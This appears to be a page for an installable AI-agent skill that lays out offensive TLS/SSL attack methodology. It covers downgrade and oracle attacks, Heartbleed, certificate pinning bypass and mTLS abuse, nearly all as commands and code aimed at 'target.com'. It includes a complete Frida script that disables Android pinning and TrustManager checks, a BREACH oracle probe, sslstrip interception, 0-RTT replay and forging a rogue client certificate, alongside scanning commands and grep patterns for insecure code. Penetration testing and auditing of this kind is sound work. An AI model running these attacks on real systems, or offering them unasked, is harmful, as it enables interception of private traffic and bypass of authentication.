Loading...
Loading...
Comprehensive methodology for auditing and exploiting TLS/SSL implementations and misconfigurations across network services and mobile applications. Covers protocol downgrade attacks including POODLE (CVE-2014-3566) against SSLv3 CBC padding, DROWN (CVE-2016-0800) cross-protocol attack leveraging SSLv2 export ciphers to decrypt TLS sessions, and FREAK (CVE-2015-0204) forcing RSA export-grade key exchange. Addresses BEAST (CVE-2011-3389) exploiting CBC IV predictability in TLS 1.0, CRIME (CVE-2012-4929) and BREACH targeting TLS-level and HTTP-level compression oracles respectively, and Heartbleed (CVE-2014-0160) for OpenSSL memory disclosure. Covers certificate validation bypass techniques for applications with improper hostname verification or chain validation, certificate pinning bypass using Frida and Objection for mobile application interception, HSTS bypass via NTP manipulation and subdomain exploitation, TLS 1.3 0-RTT replay attacks against non-idempotent endpoints, mutual TLS (mTLS) authentication attacks including client certificate theft and relay, and Certificate Transparency log monitoring for reconnaissance. Primary tooling includes testssl.sh for comprehensive TLS auditing, sslyze for Python-integrated scanning, sslscan for quick cipher enumeration, and tlsx for high-speed TLS probing at scale. Maps to CWE-295 (Improper Certificate Validation), CWE-319 (Cleartext Transmission of Sensitive Information), and CWE-757 (Selection of Less-Secure Algorithm During Negotiation).
npx skill4agent add snailsploit/claude-red offensive-tls-attacks# Full scan with all checks, output to JSON and HTML
testssl.sh --jsonfile results.json --htmlfile results.html \
--ip one --sneaky --warnings batch \
target.com:443
# Quick protocol and cipher check
testssl.sh --protocols --ciphers target.com:443
# Check only for specific vulnerabilities
testssl.sh --heartbleed --ccs-injection --ticketbleed \
--robot --poodle --beast --crime --breach --drown --freak \
--logjam --sweet32 target.com:443
# Scan multiple targets from a file
testssl.sh --file targets.txt --parallel 10 --jsonfile bulk_results.json# Standard scan with all plugins
sslyze --regular target.com
# JSON output for programmatic processing
sslyze --json_out results.json target.com
# Check specific vulnerability classes
sslyze --heartbleed --openssl_ccs --robot target.com
# Scan with client certificate authentication
sslyze --cert /path/to/client.pem --key /path/to/client.key target.com# sslscan quick enumeration
sslscan --no-fallback target.com:443
# tlsx high-speed probing across many hosts
cat hosts.txt | tlsx -p 443,8443,9443 -json -o tls_results.json
# tlsx specific checks
cat hosts.txt | tlsx -san -cn -so -json # Extract SANs, CNs, server orgs
cat hosts.txt | tlsx -tls-version tls10 # Find hosts still accepting TLS 1.0
cat hosts.txt | tlsx -expired -self-signed -mismatched # Certificate issues# Check if the target supports SSLv3
testssl.sh --poodle target.com:443
openssl s_client -ssl3 -connect target.com:443
# TLS POODLE variant: check for CBC padding oracle in TLS implementations
testssl.sh --poodle target.com:443
# Look for "POODLE, TLS" in output -- indicates vulnerable TLS implementation# Check for SSLv2 support (direct DROWN)
testssl.sh --drown target.com:443
# Check with OpenSSL (requires a build with SSLv2 enabled)
openssl s_client -ssl2 -connect target.com:443
# General DROWN also applies when another server shares the same RSA key
# Extract the certificate and search for key reuse across infrastructure
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
openssl x509 -noout -modulus | md5sum
# Compare this modulus hash across all servers in scope# Check for export cipher support
testssl.sh --freak target.com:443
sslyze --openssl_ccs target.com
# Enumerate export ciphers directly
openssl s_client -cipher EXPORT -connect target.com:443
nmap --script ssl-enum-ciphers -p 443 target.com | grep -i export# Check for BEAST vulnerability
testssl.sh --beast target.com:443
# Verify TLS 1.0 with CBC ciphers is available
openssl s_client -tls1 -cipher 'AES128-SHA' -connect target.com:443openssl s_client -tls1 -cipher 'ALL:!eNULL'# Check for TLS compression
testssl.sh --crime target.com:443
openssl s_client -connect target.com:443 | grep -i compression
# "Compression: NONE" means not vulnerable to CRIME# Check for BREACH preconditions
testssl.sh --breach target.com:443
# Manual check: verify HTTP compression is enabled
curl -sI -H "Accept-Encoding: gzip, deflate" https://target.com/ | \
grep -i content-encoding
# "Content-Encoding: gzip" combined with reflected input + secrets in body = vulnerableimport requests
import string
def breach_probe(url, known_prefix, charset=string.ascii_letters + string.digits):
"""
BREACH oracle: measure compressed response length to recover secrets.
Requires: HTTP compression enabled, secret in response body,
attacker can inject chosen text that is reflected in the same response.
"""
results = {}
for c in charset:
candidate = known_prefix + c
# Inject candidate via a reflected parameter
resp = requests.get(url, params={"search": candidate},
headers={"Accept-Encoding": "gzip"})
# The response object's content is decompressed; use raw socket
# or measure the actual wire bytes for a real attack.
# Here we demonstrate the concept:
results[c] = len(resp.content)
# The correct byte compresses better (shorter response)
best = min(results, key=results.get)
return known_prefix + best
# BREACH mitigations: disable HTTP compression for pages containing secrets,
# add random padding to responses, use per-request CSRF tokens,
# separate secret-bearing responses from reflected-input responses# Test for Heartbleed
testssl.sh --heartbleed target.com:443
sslyze --heartbleed target.com
# Nmap script
nmap -p 443 --script ssl-heartbleed target.com
# Manual test with OpenSSL
# This requires a version of OpenSSL that supports the heartbeat extension
openssl s_client -connect target.com:443 -tlsextdebug 2>&1 | \
grep -i heartbeat# Detect applications with disabled certificate verification
# These patterns indicate vulnerable implementations:
# Python requests - disabled verification
# requests.get(url, verify=False)
# Python urllib3 - disabled warnings indicate suppressed verification
# urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Node.js - disabled TLS rejection
# process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0"
# Java - TrustAllCerts pattern
# TrustManager[] trustAllCerts = new TrustManager[] {
# new X509TrustManager() {
# public void checkClientTrusted(...) {}
# public void checkServerTrusted(...) {}
# }
# };
# cURL - insecure flag
# curl -k / curl --insecure# Search for disabled certificate verification in codebases
grep -rn "verify=False" --include="*.py" .
grep -rn "CERT_NONE" --include="*.py" .
grep -rn "NODE_TLS_REJECT_UNAUTHORIZED" --include="*.js" .
grep -rn "InsecureTrustManagerFactory" --include="*.java" .
grep -rn "TrustAllCerts\|trustAllCerts\|ALLOW_ALL" --include="*.java" .
grep -rn "AllowAllHostnameVerifier\|NoopHostnameVerifier" --include="*.java" .
grep -rn "ServerCertificateValidationCallback" --include="*.cs" .
grep -rn "InsecureSkipVerify.*true" --include="*.go" .# Objection: automated pinning bypass for Android and iOS
# Launch the target application with Objection
objection -g com.target.app explore
# Inside the Objection REPL:
# Disable SSL pinning (covers common pinning libraries)
android sslpinning disable
# or for iOS:
ios sslpinning disable# Frida: custom pinning bypass scripts
# Android: bypass OkHttp CertificatePinner
frida -U -f com.target.app -l bypass_pinning.js --no-pause
# Universal Android SSL pinning bypass with Frida
frida -U -f com.target.app --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida// bypass_pinning.js - Frida script for Android SSL pinning bypass
// Covers OkHttp, TrustManager, WebView, and common pinning libraries
Java.perform(function() {
// Bypass OkHttp3 CertificatePinner
try {
var CertificatePinner = Java.use('okhttp3.CertificatePinner');
CertificatePinner.check.overload('java.lang.String', 'java.util.List')
.implementation = function(hostname, peerCertificates) {
console.log('[+] OkHttp3 CertificatePinner bypassed for: ' + hostname);
return;
};
} catch (e) {
console.log('[-] OkHttp3 not found');
}
// Bypass custom TrustManager
try {
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');
var TrustManager = Java.registerClass({
name: 'com.bypass.TrustManager',
implements: [X509TrustManager],
methods: {
checkClientTrusted: function(chain, authType) {},
checkServerTrusted: function(chain, authType) {},
getAcceptedIssuers: function() { return []; }
}
});
var TrustManagers = [TrustManager.$new()];
var sslContext = SSLContext.getInstance('TLS');
sslContext.init(null, TrustManagers, null);
console.log('[+] Custom TrustManager installed');
} catch (e) {
console.log('[-] TrustManager bypass failed: ' + e);
}
// Bypass Android WebView SSL errors
try {
var WebViewClient = Java.use('android.webkit.WebViewClient');
WebViewClient.onReceivedSslError.implementation = function(view, handler, error) {
console.log('[+] WebView SSL error bypassed');
handler.proceed();
};
} catch (e) {
console.log('[-] WebViewClient bypass not applicable');
}
});# For rooted Android devices: install a system CA certificate
# Convert your proxy CA to Android format
openssl x509 -inform PEM -subject_hash_old -in proxy_ca.pem | head -1
# Rename to <hash>.0
cp proxy_ca.pem 9a5ba575.0
adb push 9a5ba575.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0# Check HSTS configuration
curl -sI https://target.com | grep -i strict-transport-security
# Verify HSTS preload status
# Check https://hstspreload.org/?domain=target.com
# sslstrip2 (Leonardo Nve's HSTS bypass) works by:
# 1. Stripping HTTPS links on first visit (before HSTS is cached)
# 2. Replacing domains with similar subdomains not covered by HSTS
# 3. Proxying the real HTTPS connection on the attacker side
# mitmproxy with sslstrip mode
mitmproxy --mode transparent --ssl-insecure --set block_global=falseincludeSubDomainshttp://sub.target.comtarget.com# Check if the server accepts 0-RTT early data
openssl s_client -connect target.com:443 -tls1_3 -sess_out session.pem
openssl s_client -connect target.com:443 -tls1_3 -sess_in session.pem \
-early_data request.txt
# testssl.sh checks for 0-RTT
testssl.sh --grease target.com:443# Enumerate mTLS requirements
openssl s_client -connect target.com:443 2>&1 | grep -A5 "Acceptable client"
# Test with a stolen or self-signed client certificate
openssl s_client -connect target.com:443 \
-cert client.pem -key client.key -CAfile ca.pem
# Generate a rogue client certificate matching the expected CN/OU
openssl req -x509 -newkey rsa:2048 -keyout rogue.key -out rogue.pem \
-days 365 -nodes \
-subj "/CN=legitimate-service/O=Target Corp/OU=Engineering"
# Check if the server validates the issuing CA or just the certificate fields
openssl s_client -connect target.com:443 -cert rogue.pem -key rogue.key# Query CT logs via crt.sh
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
python3 -c "
import json, sys
data = json.load(sys.stdin)
domains = set()
for entry in data:
name = entry.get('name_value', '')
for d in name.split('\n'):
domains.add(d.strip())
for d in sorted(domains):
print(d)
"
# Monitor for new certificates in real-time
# Use certstream for live CT log monitoring
pip install certstream
# certstream_monitor.py
python3 -c "
import certstream
def callback(message, context):
if message['message_type'] == 'certificate_update':
all_domains = message['data']['leaf_cert']['all_domains']
for domain in all_domains:
if 'target.com' in domain:
print(f'New cert: {domain}')
certstream.listen_for_events(callback, url='wss://certstream.calidog.io/')
"# Enumerate subdomains from CT logs using subfinder or amass
subfinder -d target.com -sources crtsh
amass enum -d target.com -src -ipincludeSubDomainspreload| Vulnerability | Tool / Check | Indicator |
|---|---|---|
| POODLE (SSLv3) | testssl.sh --poodle | SSLv3 with CBC ciphers accepted |
| DROWN (SSLv2) | testssl.sh --drown | SSLv2 support or shared RSA key with SSLv2 host |
| FREAK (export ciphers) | testssl.sh --freak | RSA_EXPORT cipher suites accepted |
| BEAST (TLS 1.0 CBC) | testssl.sh --beast | TLS 1.0 with CBC cipher negotiated |
| CRIME | testssl.sh --crime | TLS-level compression enabled |
| BREACH | Content-Encoding: gzip + reflection | HTTP compression + secret + reflected input |
| Heartbleed | testssl.sh --heartbleed | OpenSSL 1.0.1 to 1.0.1f with heartbeat ext |
| Cert validation | grep -rn verify=False | Disabled verification in source code |
| Cert pinning (mobile) | objection / Frida | Pin bypass allows proxy interception |
| HSTS missing | curl -sI + header check | No Strict-Transport-Security header |
| 0-RTT replay | openssl s_client -early_data | Server accepts and processes early data |
| mTLS weakness | openssl s_client -cert | Server accepts rogue client certificates |